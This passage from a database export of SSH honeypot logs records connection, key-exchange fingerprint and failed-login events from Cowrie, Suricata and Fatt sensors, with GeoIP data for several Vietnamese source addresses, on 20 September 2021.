"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 46074, "timestamp": "2021-09-20T11:07:31.490612", "@timestamp": "2021-09-20T11:07:31.490Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22897	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:31.353471+03	2021-09-20 14:15:06.80447+03	{"_id": "BQbjAnwBvYTbRNuEvgzN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/test1234] failed", "session": "8c469a0dbd06", "@version": "1", "password": "test1234", "username": "root", "timestamp": "2021-09-20T11:07:31.353471Z", "@timestamp": "2021-09-20T11:07:31.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22898	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:32.929971+03	2021-09-20 14:15:06.80547+03	{"_id": "FQbjAnwBvYTbRNuEwQw_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1386178875258733, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45328, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.929971Z", "@timestamp": "2021-09-20T11:07:32.929Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22899	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.667673+03	2021-09-20 14:15:06.80647+03	{"_id": "FgbjAnwBvYTbRNuEwgy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:38328 (192.168.176.2:22) [session: 9dc1a62066aa]", "session": "9dc1a62066aa", "@version": "1", "protocol": "ssh", "src_port": 38328, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.667673Z", "@timestamp": "2021-09-20T11:07:32.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22900	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:32.226242+03	2021-09-20 14:15:06.808471+03	{"_id": "GAbjAnwBvYTbRNuEwgy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 58776, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.226242", "@timestamp": "2021-09-20T11:07:32.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22901	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:32.265158+03	2021-09-20 14:15:06.810471+03	{"_id": "GQbjAnwBvYTbRNuEwgy2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "ac85c9120dd9", "@version": "1", "duration": 3.15859055519104, "timestamp": "2021-09-20T11:07:32.265158Z", "@timestamp": "2021-09-20T11:07:32.265Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22902	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:32.651398+03	2021-09-20 14:15:06.81147+03	{"_id": "GwbjAnwBvYTbRNuEwgy4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45328 (192.168.176.2:22) [session: 24fb7f858792]", "session": "24fb7f858792", "@version": "1", "protocol": "ssh", "src_port": 45328, "dest_port": 22, "timestamp": "2021-09-20T11:07:32.651398Z", "@timestamp": "2021-09-20T11:07:32.651Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22903	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.06463+03	2021-09-20 14:15:06.81247+03	{"_id": "dQbjAnwBvYTbRNuEmwqV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:45058 (192.168.176.2:22) [session: 890f08f17557]", "session": "890f08f17557", "@version": "1", "protocol": "ssh", "src_port": 45058, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.064630Z", "@timestamp": "2021-09-20T11:07:23.064Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22904	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:07:23.632618+03	2021-09-20 14:15:06.813471+03	{"_id": "hAbjAnwBvYTbRNuEngoN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1139946252091197, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 7228, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.632618Z", "@timestamp": "2021-09-20T11:07:23.632Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
22905	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:23.714162+03	2021-09-20 14:15:06.81447+03	{"_id": "iwbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:57518 (192.168.176.2:22) [session: 54b867fdbce6]", "session": "54b867fdbce6", "@version": "1", "protocol": "ssh", "src_port": 57518, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.714162Z", "@timestamp": "2021-09-20T11:07:23.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22906	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:07:23.643791+03	2021-09-20 14:15:06.81647+03	{"_id": "iQbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 7228, "dest_port": 22, "timestamp": "2021-09-20T11:07:23.643791", "@timestamp": "2021-09-20T11:07:23.643Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22907	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.291995+03	2021-09-20 14:15:06.81847+03	{"_id": "igbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "890f08f17557", "@version": "1", "timestamp": "2021-09-20T11:07:23.291995Z", "@timestamp": "2021-09-20T11:07:23.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22908	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:23.833823+03	2021-09-20 14:15:06.81947+03	{"_id": "kQbjAnwBvYTbRNuEnwp_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/trustix] failed", "session": "a6e0715f685d", "@version": "1", "password": "trustix", "username": "admin", "timestamp": "2021-09-20T11:07:23.833823Z", "@timestamp": "2021-09-20T11:07:23.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22909	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:25.142804+03	2021-09-20 14:15:06.82147+03	{"_id": "qwbjAnwBvYTbRNuEowpq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3830633aea8a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": 